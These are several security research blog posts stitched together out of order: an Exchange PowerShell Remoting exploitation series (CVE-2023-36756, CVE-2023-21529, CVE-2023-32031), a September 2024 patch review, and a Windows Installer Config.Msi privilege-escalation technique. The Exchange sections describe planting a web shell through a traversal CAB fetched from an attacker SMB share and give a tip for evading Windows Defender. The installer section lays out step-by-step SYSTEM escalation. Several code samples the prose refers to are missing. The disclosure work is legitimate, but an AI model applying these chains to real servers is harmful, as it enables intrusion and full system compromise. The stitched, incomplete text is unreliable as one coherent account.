To patch CVE-2023-32031, Microsoft expanded the deny list to include all the classes that I had previously in 2022. The patch went no further than that. Critically, it still did not introduce an allow list, so it was game on. All I had to do was find another class with security impact not included in the deny list, and then I could use MultiValuedProperty to deserialize it. This became my next challenge

CVE-2023-36756 – ApprovedApplicationCollection

I was looking for classes where something potentially malicious could be reached either through a single-argument constructor or a static Parse(String) method. This approach led me to the Microsoft.Exchange.Data.Directory.SystemConfiguration.ApprovedApplicationCollection class.

As you can see, we can deliver an object of any type to the constructor. The code flow can go in multiple directions from here.

We are interested in a case where a string is provided to the constructor. When a string is provided, the code expects it to be a valid path to a file with a .cab extension. The code does not validate the path in any meaningful way except for checking the extension. The code leads to the ParseCab method, where the argument contains the attacker-supplied path:

At [1], a FileInfo object is created from the attacker’s path.

At [2] and [3], a temporary output directory is created.

At [4], the OpenCabinetFile method is called.

At [5], the entire temporary directory is deleted.

At this stage, we can confirm two things. We can deliver a UNC path, such as \\192.168.1.100\poc\poc.cab. The Exchange PowerShell Remoting requires Kerberos authentication, so the attacker most likely resides in the internal network anyway. It is rather rare to see the SMB traffic filtered internally. Thus, in most cases it will not present a challenge for the attacker to host content that the Exchange server can access over SMB.

Next, our remote path is processed by OpenCabinetFile. Let’s analyze this method.

It seems that our cabinet file is going to be extracted with the following command:

extrac32.exe /Y /E /L “C:\Windows\Temp\random-uuid\” “\\192.168.1.100\poc\poc.cab”

Basically, the content of our remote CAB file will be extracted to some temporary directory. Then, the entire directory will be deleted. There does not seem to be any available unsafe operations here. As we will see, though, it turns out that extrac32 has its own issues.

ZDI-CAN-21499 – Unpatched Path Traversal in extrac32

In general, we can use the ApprovedApplicationCollection internal Exchange class to extract our CAB file with the Windows utility extrac32.exe. This could lead to a file parsing bug, where the parsing part is performed by some unmanaged code. We could always try to look for memory corruptions in extrac32.exe. Before even thinking about it, I decided to go for a full-dumb option, which can be summarized with the following meme.

I simply created a CAB containing a single file, where the filename contains the path traversal sequence ..\, and tested it.

It turned out that the extrac32 extraction mechanism is vulnerable to a trivial path traversal. There is still one problem, though. The file presented in the screenshot gets detected as malicious by Windows Defender:

Luckily for the attackers, antivirus signatures are not always very smart, and this one can be easily bypassed. For example:

..\poc.txt - the CAB file gets tagged as malicious by Windows Defender.

../poc.txt - the CAB file is seen as legitimate by Windows Defender.

I reported the path traversal vulnerability to Microsoft in June of 2023. After a short discussion, we received the following final response from the vendor:

“To clarify our earlier point – it is the caller's (application using extrac32) responsibility to make sure extrac32 is not called on untrusted CAB files.”

To me, this does not seem sensible. It seems like the equivalent of asking people to manually verify the contents of a ZIP file before you unzip it with one of the available solutions. However, this was Microsoft’s final reply.

The upshot was that since Microsoft clearly stated that it is going to be Exchange’s fault for the way it uses extrac32, I could use this to get a CVE in Exchange.

Chaining the Pieces

The attacker needs to do the following to exploit this vulnerability:

-- Create a malicious CAB file that contains an ASPX web shell, with the file name set to something like ../../../../../../../../inetpub/wwwroot/poc.aspx.
-- Host this CAB file on an SMB share in the domain.
-- Perform PowerShell Remoting deserialization, where:
       -- The target type is MultiValuedProperty<ApprovedApplicationCollection>.
       -- The argument is a UNC path pointing to our CAB file, such as: \\192.168.1.100\poc\poc.cab.
-- Access the webshell and get code execution.

Fragment of the payload:

After this, you can enjoy your web shell.

As always, I have prepared a demo that presents the entire exploitation process.

Summary

In this blog post, I have presented the CVE-2023-36756 vulnerability in Microsoft Exchange Server. It allowed any authenticated attacker to achieve remote code execution by uploading a web shell.

In my next blog post, part 3 of the Exchange PowerShell Remoting series, I am going to present my CVE-2023-36745 RCE vulnerability. To make it work, I had to prepare one of the craziest chains that I have ever made, so I am excited to share it with you. Once again, you can watch my entire OffensiveCon 2024 talk here.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, Bluesky, or Instagram for the latest in exploit techniques and security patches.

We’ve reached September and the pumpkin spice floats in the air. While they aren’t pumpkin-spiced, Microsoft and Adobe have released their latest spicy security patches – including some zesty 0-days. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for September 2024

For September, Adobe released eight bulletins covering 28 CVEs in Adobe Acrobat and Reader, ColdFusion, Photoshop, Media Encoder, Audition, After Effects, Premier Pro, and Illustrator. A total of seven of these bugs came through the ZDI program. If you’re prioritizing, I would look at the ColdFusion patch first. It corrects a single code execution bug rated at CVSS 9.8. It’s unusual to see patches for Acrobat and Reader in back-to-back months, but I guess these two Critical-rated bugs were late for last month’s release. The fix for Photoshop fixes five CVEs, four of which are rated Critical. The Illustrator patch fixes six bugs, with four of those being Critical code execution bugs

The update for Premier Pro fixes one Critical and one Moderate bug. The fix for After Effects covers five bugs, including two from ZDI researcher Mat Powell. He’s also responsible for the Critical-rated bug in Audition. The final patch from Adobe covers five bugs in Media Encoder, two of which are rated Critical.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for September 2024

This month, Microsoft released 79 new CVEs in Windows and Windows Components; Office and Office Components; Azure; Dynamics Business Central; SQL Server; Windows Hyper-V; Mark of the Web (MOTW); and the Remote Desktop Licensing Service. Four of these vulnerabilities were reported through the ZDI program.

Of the patches being released today, seven are rated Critical, 71 are rated Important, and one is rated Moderate in severity. The size of this release tracks with the volume we saw from Redmond last month, but again, it’s unusual to see such a high number of bugs under active attack.

One of these CVEs is listed as publicly known, and four others are listed as under active attack at the time of release. However, we at the ZDI think that number should be five. More on that later. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-43491 - Microsoft Windows Update Remote Code Execution Vulnerability
This is an unusual bug. At first, it reads like a downgrade attack similar to the one discussed at Black Hat. However, it appears that this downgrade was introduced through updates to the Servicing Stack affecting Optional Components on Windows 10 systems. Admins will need to install both the servicing stack update (KB5043936) AND this security update (KB5043083) to fully address the vulnerability. It’s also interesting to note that while this particular bug isn’t being exploited in the wild, it allowed some of those Optional Components to be exploited. The only good news here is that only a portion of Windows 10 systems are affected. Check the write-up from Microsoft to see if you’re impacted, then test and deploy these updates quickly.

CVE-2024-38226 - Microsoft Publisher Security Features Bypass Vulnerability  
I’m always amazed by the ingenuity of attackers, be they red teamers or threat actors. Who would have thought to exploit macros in Microsoft Publisher? I had forgotten all about that program. But here we are. The attack involves specially crafted files being opened by affected Publisher versions. Obviously, an attacker would need to convince a target to open the file, but if they do, it will bypass Office macro policies and execute code on the target system.

CVE-2024-38217 - Windows Mark of the Web Security Feature Bypass Vulnerability
We’ve talked a lot about MoTW bypasses over the last several months, but it seems like there’s always more to say. This is one of two MoTW bypasses receiving fixes this month, but only this one is listed as under attack. Microsoft provides no details about the attacks, but in the past, MoTW bypasses have been associated with ransomware gangs targeting crypto traders. This bug is also listed as publicly known, but no information is provided about that detail either.

CVE-2024-38014 - Windows Installer Elevation of Privilege Vulnerability  
Here’s yet another privilege escalation bug that leads to SYSTEM being exploited in the wild. And not conjure Xzibit memes, but I think it’s great when attackers put an extra installer in the Installer. Interestingly, Microsoft states that no user interaction is required for this bug, so the actual mechanics of the exploit may be odd. Still, privilege escalations like this are typically paired with a code execution bug to take over a system. Test and deploy this fix quickly.

CVE-2024-43461 - Windows MSHTML Platform Spoofing Vulnerability
This bug is similar to the vulnerability we reported and was patched back in July. The ZDI Threat Hunting team discovered this exploit in the wild and reported it to Microsoft back in June. It appears threat actors quickly bypassed the previous patch. When we told Microsoft about the bug, we indicated it was being actively used. We’re not sure why they don’t list it as being under active attack, but you should treat it as though it were, especially since it affects all supported versions of Windows.

Here’s the full list of CVEs released by Microsoft for September 2024:

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the other Critical-rated bugs, the vulnerability in SharePoint stands out. It was discovered by ZDI researcher Piotr Bazydło and could lead to code execution in the context of the service account. The specific flaw exists within the handling of serialized instances of the SPThemes class. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. There’s another Critical fix for SharePoint, but it requires Site Owner permissions. There are two bugs in Azure Stack Hub that could allow an attacker to interact with other tenants’ applications and content. However, the threat actor would need the target to initiate a connection. There’s a bug in NAT that would allow unauthenticated code execution, but the attacker would need access to a restricted network first since NAT isn’t routable (in most cases). The final Critical bug has already been mitigated by Microsoft and is being publicly documented.

Looking at the other code execution bugs, the two in TCP/IP stand out, especially considering the ugly bug in TCP fixed last month. However, these bugs require a non-default configuration, so they are less likely to have a big impact. For enterprises configured with NetNAT, test and deploy this update quickly. There are four code execution bugs in the Remote Desktop Licensing Service, but all require authentication. There are six fixes for SQL Server Native Scoring, and the exploit scenario here is interesting. According to Microsoft, exploitation “requires an authenticated attacker to leverage SQL Server Native Scoring to apply pre-trained models to their data without moving it out of the database.” The servicing scenario is also convoluted, as you may need to contact third-party vendors to verify apps are compatible with Microsoft OLE DB Driver 18 or 19. Read the bulletin, scratch your head, then read it again. Bugs like this one make me unreasonably angry when people say, “Just Patch.”

The bug in Azure CycleCloud almost reads like a privilege escalation, as a basic user could make specially crafted requests to modify the configuration of an Azure CycleCloud cluster to gain root-level permissions. There are two other fixes for SharePoint, but they are listed as Important instead of Critical for some reason – despite looking suspiciously similar to the Critical-rated bugs. This fix for Power Automate Desktop is found in the Windows Store, so if you have disabled Store updates, you’ll need to apply this fix manually. The remaining RCE bugs are garden-variety open-and-own vulnerabilities.

There are 30 fixes for Elevation of Privilege (EoP) bugs in this release including those already. Mentioned. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. The bugs in SQL Server will have the same servicing problems as previously mentioned. Bottom line – it’s a bad month to be an SQL Server admin. The bug in PowerShell could allow a regular user to elevate to an unrestrained WDAC user.

Beyond those already mentioned, there are two Security Feature Bypass (SFB) bugs receiving patches this month. Both involve web browsing. The first is in Windows Security Zone Mapping and could allow an attacker to craft a URL that would be interpreted as belonging to a more privileged zone. The other is another MoTW SmartScreen bypass. This one is not listed as public, but the technique is quite in vogue right now.

The September release includes fixes for 11 different information disclosure bugs. Thankfully, most only result in info leaks consisting of unspecified memory contents. There are two exceptions. The bug in Remote Desktop Licensing Service could disclose the ever-ethereal “sensitive information”. The bug in Outlook for iOS would allow attackers to read “file content.” It’s not clear if that’s random file content or if the files can be specified by the attacker. Also, you’ll need to get this update from the App Store if you haven’t enabled automatic updates on your iOS device.

In addition to the spoofing bug under active attack, there’s also a fix for a spoofing bug in the Windows Remote Desktop Licensing Service. Microsoft doesn’t specify what is being spoofed; only that an attacker must be able to send requests to the Terminal Server Licensing Service. This shouldn’t be reachable from the Internet, but now would be a fine time to verify that fact.

The September release includes fixes for a handful of Denial-of-Service (DoS) bugs. However, Microsoft again provides little additional information about these vulnerabilities. There are some things we can see in the tea leaves. For example, one of the patches for Windows Networking notes that an unauthenticated attacker with LAN access can exploit this bug. However, the other patches for Windows Network list the attack vector as Network instead of Adjacent. I would still think the attacker would be unauthenticated. The DoS in the DHCP server would likely shut down the service, but again, it’s not clear if that’s a permanent or a temporary DoS. We do know the DoS in Hyper-V would allow an attacker on a guest OS to impact the functionality of the host OS.

Finally, the release is rounded out by a single cross-site scripting (XSS) bug in Microsoft Dynamics (on-premises).

There are no new advisories in this month’s release.

Looking Ahead

The next Patch Tuesday of 2024 will be on October 8, and I’ll return with details and spooky patch analysis then. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of four blog posts is meant to supplement the talk and provide additional technical details. For those who did not attend OffensiveCon, you can also watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 12:05 to 18:10.

In this article, part one of the series, I describe the MultiValuedProperty exploitation primitive, which became fundamental for my further exploitation of Exchange PowerShell. I also present a bypass for Microsoft’s first patch for this vulnerability, accomplished by chaining MultiValuedProperty with the Command class.

Introduction

You might already be familiar with the Exchange ProxyNotShell chain, CVE-2022-41040 and CVE-2022-41082. It allowed any authenticated Exchange user to achieve remote code execution. ProxyNotShell was exploited in the wild before Microsoft released a patch.

I described the ProxyNotShell chain, especially its RCE vector, in this blog post. Before proceeding with this post, please make sure that you are familiar with the original issue, as this article will focus on bypassing the patches.

In this blog post, I would like to start with 2 RCE vulnerabilities:

• ZDI-23-163/ CVE-2023-21529 – abuse of the allowed MultiValuedProperty class.
• ZDI-23-881/ CVE-2023-32031 – bypass for CVE-2023-21529, abuse of not blocked Command class.

Accessing PowerShell Without ProxyShell Path Confusion

The original path confusion vulnerability, CVE-2021-34473, was discovered by Orange Tsai. He used it together with CVE-2021-34523 and CVE-2021-31207 to achieve pre-auth remote code execution, forming the chain known as ProxyShell.

Microsoft’s original patch for the path confusion did not eliminate the root of the problem, but instead placed it behind authentication. After the patch, it was exploited in the wild for post-auth remote code execution using the ProxyNotShell chain mentioned above.

Exploitation of the path confusion allowed a threat actor to reach the Exchange PowerShell backend by sending HTTP requests to the autodiscover endpoint.

After the patch for ProxyNotShell, it appears that this attack vector is completely blocked, though I must admit that I have never fully verified that patch. Nonetheless, a low-privileged attacker still has direct access to Exchange PowerShell Remoting, subject to Kerberos authentication. This is because every Exchange user can trigger some Exchange PowerShell cmdlets, such as Get-Mailbox. Instructions that describe direct interaction with the Exchange PowerShell can be found here.

As Kerberos authentication is required, this attack surface is probably restricted to internal attackers, which is to say, attackers who are already present in the organization’s network. There remains plenty of reason for concern, though. It would not be good if any domain account (and organization member) could escalate to SYSTEM on the Exchange server.

Patch for the ProxyNotShell CVE-2022-41082 RCE

CVE-2022-41082, the RCE part of the ProxyNotShell chain, was fixed with the introduction of the Microsoft.Exchange.Diagnostics.UnitySerializationHolderSurrogateSelector class. It extends SurrogateSelector and its main goal is to validate the types that are retrieved during the deserialization of UnitySerializationHolder. It does this by checking the types against an allow list.

Microsoft’s approach here seems appropriate. An allow list is probably the best way to fight deserialization issues and similar type-based vulnerabilities. However, when the allow list is extensive, it may be possible to find some types there that can be used in exploitation. I decided to take this path and look for potentially dangerous allowed classes.

ZDI-23-162/ CVE-2023-21529 – Allowed MultiValuedProperty Leads to RCE

The Exchange allow lists can be divided into two main parts:
• List of allowed regular types.
• List of allowed generic types.

Generic types seem especially interesting because they allow the inclusion of arbitrary, internal types. Moreover, generic types can be also retrieved through a deserialization of UnitySerializationHolder. Let’s review the list of allowed generics that are defined in the Microsoft.Exchange.Data.SerializationTypeConverter.allowedGenerics member.

The first part of the list is especially interesting because it contains custom Exchange types. It turns out that deserialization involving retrieval of the Microsoft.Exchange.Data.MultiValuedProperty<T> or Microsoft.Exchange.Data.DagNetMultiValuedProperty<T> generic classes can lead to remote code execution.

One may remember that PowerShell Remoting deserialization allows one to call a single-argument constructor of any allowed type (as long as the argument can be also deserialized). This leads us to a consider a single-argument constructor of MultiValuedProperty<T>.

As you can see, it accepts an argument of type object. Thus, the attacker can provide an instance of any allowed PowerShell Remoting deserializable class. This constructor invokes a different constructor that accepts a larger number of arguments.

A great deal of processing occurs after the constructor call. Of primary interest is that we ultimately reach the ValueConvertor.ConvertValue method. Here, the attacker-controlled type is provided as the second argument, while the attacker-controlled object is provided as the first argument. This is the object provided to the MultiValuedProperty constructor.

At [1], it invokes ValueConvertor.TryParseConversion. This call looks particularly interesting because the method name suggests that the Parse method is involved.

At [2], it calls TryConstructorConversion.

Let’s focus on the parse-based conversion now.

At this stage, it is worth to note the values of specific arguments:

• originalValue - value provided by the attacker to the MultiValuedProperty constructor.
• originalType - type of the originalValue.
• resultType - the type parameter (“T”) of the attacker-specified generic MultiValuedProperty<T> type.

At [1], the method checks if originalType is the type string

At [2], it calls ConvertValueFromString. This method is also called during the deserialization process. This method hardcodes several possible conversions and throws NotImplementedException if the conversion from originalType to resultType is not implemented.

At [3], it catches the exception.

At [4], it retrieves the public static Parse method from the attacker-controlled resultType.

At [5], it invokes the Parse method with the attacker-specified value.

To summarize, the MultiValuedProperty<T> generic class implements another way to call the Parse method. This can result in invocation of the XamlReader.Parse(String) method with an attacker-controlled string. In addition, TryConstructorConversion allows one to call a single-argument constructor of a given class.

At this point, one can see that MultiValuedProperty<T> class implements the two most powerful conversions of PowerShell Remoting. Since it is an internal deserialization mechanism, it is included on the allow list. It can be abused by the attacker, for example to call a single-argument constructor of any accessible class. This became a fundamental building block for my subsequent vulnerability research.

As an example of how MultiValuedProperty<T> can be abused, consider the following code:

This line simulates what we achieve via Exchange PowerShell Remoting during exploitation:

• The attacker provides a serialized UnitySerializationHolder object that specifies the allowed MultiValuedProperty<T> type. The type parameter, T, is set to System.Windows.Markup.XamlReader.
• An allow list check is performed on our type: MultiValuedProperty<XamlReader>. The check is successful, because: (1) MultiValuedProperty<T> is present on the allow list, and (2) the type specified in the type parameter, XamlReader, is not subjected to validation at all.
• The MultiValuedProperty constructor instantiates a XamlReader object by calling the static XamlReader.Parse(String) method.
• As the attacker controls the input string, they can provide any XAML deserialization gadget to achieve remote code execution.

The simplified attack scheme is presented in the following diagram.

As we have shown, allow lists are not always secure, and they need to be carefully reviewed. It may turn out that even in a product as mature as Microsoft Exchange, allowed classes may contain functionality that can be abused. This may be especially true for generic classes included in the allow list. The generic (internal) type should always be verified by your type control mechanism. Otherwise, your allowed class may turn out to be abusable. Moreover, class inheritance should also be verified. For example, suppose that Microsoft removed MultiValuedProperty<T> from the allow list. We would still be able to reach it via the allowed type DagNetMultiValuedProperty<T>:

DagNetMultiValuedProperty<T> inherits from MultiValuedProperty<T>. Its single-argument constructor calls the constructor of the base class. Thus, it is another way to trigger the dangerous routine, and it could be abused even if MultiValuedProperty<T> were removed from the allow list.

ZDI-23-881/ CVE-2023-32031 – Bypassing the Internal Deny List with the Command Class

In CVE-2023-21529, I abused the internal deserialization-like mechanism that can be reached through the allow-listed MultiValuedProperty<T> class. When considering potential patches, two approaches present themselves:

1. Remove MultiValuedProperty<T> from the allow list.
2. Implement additional type control in the internal deserialization mechanism within MultiValuedProperty.

MultiValuedProperty is frequently used by the Exchange, thus removing it from an allow list is not an option. Implementing type control in the internal deserialization mechanism defined in ValueConvertor.ConvertValue looks like a good option though. This is what the patch looks like:

You can see that the ChainedSerializationBinder.ValidateResultType method was introduced, to limit the types that the attacker can specify.

Consequently, if the attacker provides the type MultiValuedProperty<XamlReader>, an exception is being thrown, because type XamlReader fails the new validation. Looking deeper into the validation mechanism, though, I found that type validation here is based on a deny list. Instead of implementing a allow list of types that can be used with the MultiValuedProperty, a deny list was used. If you have seen my Hexacon talk about .NET deserialization, you probably know that I love messing with deny lists.

The Exchange deny list is actually pretty good, and it contains dozens of classes. However, it contains almost no internal Exchange classes. My idea was to look for a class, that:

• Is not on the deny list.
• Implements a public and static Parse(String) method that leads to something exploitable, or
• Implements a public constructor that accepts a single argument and leads to something exploitable.

Such a class could be abused when chained with MultiValuedProperty internal deserialization.

The constructor-based deserialization is handled by the previously mentioned TryConstructorConversion method, and it is pretty much the same as the one implemented in PowerShell Remoting.

It didn’t take me long to find the Microsoft.Diagnostics.Runtime.Utilities.Command class:

At [1], the Command(String) constructor calls the Command(String, CommandOptions) constructor.

At [2], a new ProcessStartInfo is instantiated, and both the process name and arguments are retrieved from the attacker's controlled input.

At [3], Process.StartInfo is set to the ProcessStartInfo object from line [2].

At [4], a new process is started.

This class was not included in the deny list, so the following code:

Leads to the execution of cmd.exe /c calc.exe. That’s it. To sum this up, I did the following:

• I used the allow-listed MultiValuedProperty class to reach the internal deserialization mechanism. This mechanism is protected with the deny list of abusable types.
• I delivered the Command class, which is not on the deny list. This allows execution of an arbitrary command.

Demo

I presented the demo for CVE-2023-32031 during my Hexacon 2023 talk about .NET deserialization. It shows the entire exploitation process with the debugger attached.

Summary

In this blog post, I have described both CVE-2023-21529 and CVE-2023-32031. In those vulnerabilities, I abused both the allow-listed and deny-listed classes to achieve RCE on Exchange. That wasn’t the end of my Exchange vulnerability research, though. I still had two additional full-RCE chains that I was able to deliver after the CVE-2023-32031 patch.

In the next blog post, I will provide you with full details on the ZDI-23-1419/CVE-2023-36756 RCE vulnerability. Once again, you can watch my entire OffensiveCon 2024 talk here.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

This version of the blog is preserved for archival purposes only. An updated version of this blog, including links to new PoC code, can be found here.

What do you do when you’ve found an arbitrary file delete as NT AUTHORITY\SYSTEM? Probably just sigh and call it a DoS. Well, no more. In this article, we’ll show you some great techniques for getting much more out of your arbitrary file deletes, arbitrary folder deletes, and other seemingly low-impact filesystem-based exploit primitives.

The Trouble with Arbitrary File Deletes

When you consider how to leverage an arbitrary file delete on Windows, two great obstacles present themselves:

1. Most critical Windows OS files are locked down with DACLs that prevent modification even by SYSTEM. Instead, most OS files are owned by TrustedInstaller, and only that account has permission to modify them. (Exercise for the reader: Find the critical Windows OS files that can still be deleted or overwritten by SYSTEM!)
2. Even if you find a file that you can delete as SYSTEM, it needs to be something that causes a “fail-open” (degradation of security) if deleted.

A third problem that can arise is that some critical system files are inaccessible at all times due to sharing violations.

Experience shows that finding a file to delete that meets all the above criteria is very hard. When looking in the usual places, which would be within C:\Windows, C:\Program Files or C:\Program Data, we’re not aware of anything that fits the bill. There is some prior work that involves exploiting antivirus and other products, but this is dependent on vulnerable behavior in those products.

The Solution is Found Elsewhere: Windows Installer

In March of 2021, we received a vulnerability report from researcher Abdelhamid Naceri (halov). The vulnerability he reported was an arbitrary file delete in the User Profile service, running as SYSTEM. Remarkably, his submission also included a technique to parlay this file delete into an escalation of privilege (EoP), resulting in a command prompt running as SYSTEM. The EoP works by deleting a file, but not in any of the locations you would usually think of.

To understand the route to privilege escalation, we need to explain a bit about the operation of the Windows Installer service. The following explanation is simplified somewhat.

The Windows Installer service is responsible for performing installations of applications. An application author supplies an .msi file, which is a database defining the changes that must be made to install the application: folders to be created, files to be copied, registry keys to be modified, custom actions to be executed, and so forth.

To ensure that system integrity is maintained when an installation cannot be completed, and to make it possible to revert an installation cleanly, the Windows Installer service enforces transactionality. Each time it makes a change to the system, Windows Installer makes a record of the change, and each time it overwrites an existing file on the system with a newer version from the package being installed, it retains a copy of the older version. In case the install needs to be rolled back, these records allow the Windows Installer service to restore the system to its original state. In the simplest scenario, the location for these records is a folder named C:\Config.Msi.

During an installation, the Windows Installer service creates a folder named C:\Config.Msi and populates it with rollback information. Whenever the install process makes a change to the system, Windows Installer records the change in a file of type .rbs (rollback script) within C:\Config.Msi. Additionally, whenever the install overwrites an older version of some file with a newer version, Windows Installer will place a copy of the original file within C:\Config.Msi. This type of a file will be given the .rbf (rollback file) extension. In case an incomplete install needs to be rolled back, the service will read the .rbs and .rbf files and use them to revert the system to the state that existed before the install.

This mechanism must be protected against tampering. If a malicious user were able to alter the .rbs and/or .rbf files before they are read, arbitrary changes to the state of the system could occur during rollback. Therefore, Windows Installer sets a strong DACL on C:\Config.Msi and the enclosed files.

Here is where an opening arises, though: What if an attacker has an arbitrary folder delete vulnerability? They can use it to completely remove C:\Config.Msi immediately after Windows Installer creates it. The attacker can then recreate C:\Config.Msi with a weak DACL (note that ordinary users are allowed to create folders at the root of C:\). Once Windows Installer creates its rollback files within C:\Config.Msi, the attacker will be able to replace C:\Config.Msi with a fraudulent version that contains attacker-specified .rbs and .rbf files. Then, upon rollback, Windows Installer will make arbitrary changes to the system, as specified in the malicious rollback scripts.

Note that the only required exploit primitive here is the ability to delete an empty folder. Moving or renaming the folder works equally well.

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

In conjunction with this article, we are releasing source code for Abdelhamid Naceri’s privilege escalation technique. This exploit has wide applicability in cases where you have a primitive for deleting, moving, or renaming an arbitrary empty folder in the context of SYSTEM or an administrator. The exploit should be built in the Release configuration for either x64 or x86 to match the architecture of the target system. Upon running the exploit, it will prompt you to initiate a delete of C:\Config.Msi. You can do this by triggering an arbitrary folder delete vulnerability, or, for testing purposes, you can simply run rmdir C:\Config.Msi from an elevated command prompt. Upon a successful run, the exploit will drop a file to C:\Program Files\Common Files\microsoft shared\ink\HID.DLL. You can then get a SYSTEM command prompt by starting the On-Screen Keyboard osk.exe and then switching to the Secure Desktop, for example by pressing Ctrl-Alt-Delete.

The exploit contains an .msi file. The main thing that’s special about this .msi is that it contains two custom actions: one that produces a short delay, and a second that throws an error. When the Windows Installer service tries to install this .msi, the installation will halt midway and rollback. By the time the rollback begins, the exploit will have replaced the contents of C:\Config.Msi with a malicious .rbs and .rbf. The .rbf contains the bits of the malicious HID.DLL, and the .rbs instructs Windows Installer to “restore” it to our desired location (C:\Program Files\Common Files\microsoft shared\ink\).

The full mechanism of the EoP exploit is as follows:

1. The EoP creates a dummy C:\Config.Msi and sets an oplock.
2. The attacker triggers the folder delete vulnerability to delete C:\Config.Msi (or move C:\Config.Msi elsewhere) in the context of SYSTEM (or admin). Due to the oplock, the SYSTEM process is forced to wait.
3. Within the EoP, the oplock callback is invoked. The following several steps take place within the callback.
4. The EoP moves the dummy C:\Config.Msi elsewhere. This is done so that the oplock remains in place and the vulnerable process is forced to continue waiting, while the filesystem location C:\Config.Msi becomes available for other purposes (see further).
5. The EoP spawns a new thread that invokes the Windows Installer service to install the .msi, with UI disabled.
6. The callback thread of the EoP continues and begins polling for the existence of C:\Config.Msi. For reasons that are not clear to me, Windows Installer will create C:\Config.Msi, use it briefly for a temp file, delete it, and then create it a second time to use for rollback scripts. The callback thread polls C:\Config.Msi to wait for each of these actions to take place.
7. As soon as the EoP detects that Windows Installer has created C:\Config.Msi for the second time, the callback thread exits, releasing the oplock. This allows the vulnerable process to proceed and delete (or move, or rename) the C:\Config.Msi created by Windows Installer.
8. The EoP main thread resumes. It repeatedly attempts to create C:\Config.Msi with a weak DACL. As soon as the vulnerable process deletes (or moves, or renames) C:\Config.Msi, the EoP’s create operation succeeds.
9. The EoP watches the contents of C:\Config.Msi and waits for Windows Installer to create an .rbs file there.
10. The EoP repeatedly attempts to move C:\Config.Msi elsewhere. As soon as Windows Installer closes its handle to the .rbs, the move succeeds, and the EoP proceeds.
11. The EoP creates C:\Config.Msi one final time. Within it, it places a malicious .rbs file having the same name as the original .rbs. Together with the .rbs, it writes a malicious .rbf.
12. After the delay and the error action specified in the .msi, Windows Installer performs a rollback. It consumes the malicious .rbs and .rbf, dropping the DLL.

Note that at step 7, there is a race condition that sometimes causes problems. If the vulnerable process does not immediately awaken and delete C:\Config.Msi, the window of opportunity may be lost because Windows Installer will soon open a handle to C:\Config.Msi and begin writing an .rbs there. At that point, deleting C:\Config.Msi will no longer work, because it is not an empty folder. To avoid this, it is recommended to run the EoP on a system with a minimum of 4 processor cores. A quiet system, where not much other activity is taking place, is probably ideal. If you do experience a failure, it will be necessary to retry the EoP and trigger the vulnerability a second time.

From Arbitrary File Delete to SYSTEM EoP

The technique described above assumes a primitive that deletes an arbitrary empty folder. Often, though, one has a file delete primitive as opposed to a folder delete primitive. That was the case with Abdelhamid Naceri’s User Profile bug. To achieve SYSTEM EoP in this case, his exploit used one additional trick, which we will now explain.

In NTFS, the metadata (index data) associated with a folder is stored in an alternate data stream on that folder. If the folder is named C:\MyFolder, then the index data is found in a stream referred to as C:\MyFolder::$INDEX_ALLOCATION. Some implementation details can be found here. For our purposes, though, what we need to know is this: deleting the ::$INDEX_ALLOCATION stream of a folder effectively deletes the folder from the filesystem, and a stream name, such as C:\MyFolder::$INDEX_ALLOCATION, can be passed to APIs that expect the name of a file, including DeleteFileW.

So, if you are able to get a process running as SYSTEM or admin to pass an arbitrary string to DeleteFileW, then you can use it not only as a file delete primitive but also as a folder delete primitive. From there, you can get a SYSTEM EoP using the exploit technique discussed above. In our case, the string you want to pass is C:\Config.Msi::$INDEX_ALLOCATION.

Be advised that success depends on the particular code present in the vulnerable process. If the vulnerable process simply calls DeleteFileA/DeleteFileW, you should be fine. In other cases, though, the privileged process performs other associated actions, such as checking the attributes of the specified file. This is why you cannot test this scenario from the command prompt by running del C:\Config.Msi::$INDEX_ALLOCATION.

From Folder Contents Delete to SYSTEM EoP

Leveling up once more, let us suppose that the vulnerable SYSTEM process does not allow us to specify an arbitrary folder or file to be deleted, but we can get it to delete the contents of an arbitrary folder, or alternatively, to recursively delete files from an attacker-writable folder. Can this also be used for EoP? Researcher Abdelhamid Naceri demonstrated this as well, in a subsequent submission in July 2021. In this submission he detailed a vulnerability in the SilentCleanup scheduled task, running as SYSTEM. This task iterates over the contents of a temp folder and deletes each file it finds there. His technique was as follows:

1. Create a subfolder, temp\folder1.
2. Create a file, temp\folder1\file1.txt.
3. Set an oplock on temp\folder1\file1.txt.
4. Wait for the vulnerable process to enumerate the contents of temp\folder1 and try to delete the file file1.txt it finds there. This will trigger the oplock.
5. When the oplock triggers, perform the following in the callback:
   a. Move file1.txt elsewhere, so that temp\folder1 is empty and can be deleted. We move file1.txt as opposed to just deleting it because deleting it would require us to first release the oplock. This way, we maintain the oplock so that the vulnerable process continues to wait, while we perform the next step.
   b. Recreate temp\folder1 as a junction to the \RPC Control folder of the object namespace. c. Create a symlink at \RPC Control\file1.txt pointing to C:\Config.Msi::$INDEX_ALLOCATION.
6. When the callback completes, the oplock is released and the vulnerable process continues execution. The delete of file1.txt becomes a delete of C:\Config.Msi.

Readers may recognize the symlink technique involving \RPC Control from James Forshaw’s symboliclink-testing-tools. Note, though, that it’s not sufficient to set up the junction from temp\folder1 to \RPC Control and then let the arbitrary file delete vulnerability do its thing. That’s because \RPC Control is not an enumerable file system location, so the vulnerable process would not be able to find \RPC Control\file1.txt via enumeration. Instead, we must start off by creating temp\folder1\file1.txt as a bona fide file, allowing the vulnerable process to find it through enumeration. Only afterward, just as the vulnerable process attempts to open the file for deletion, we turn temp\folder1 into a junction pointing into the object namespace.

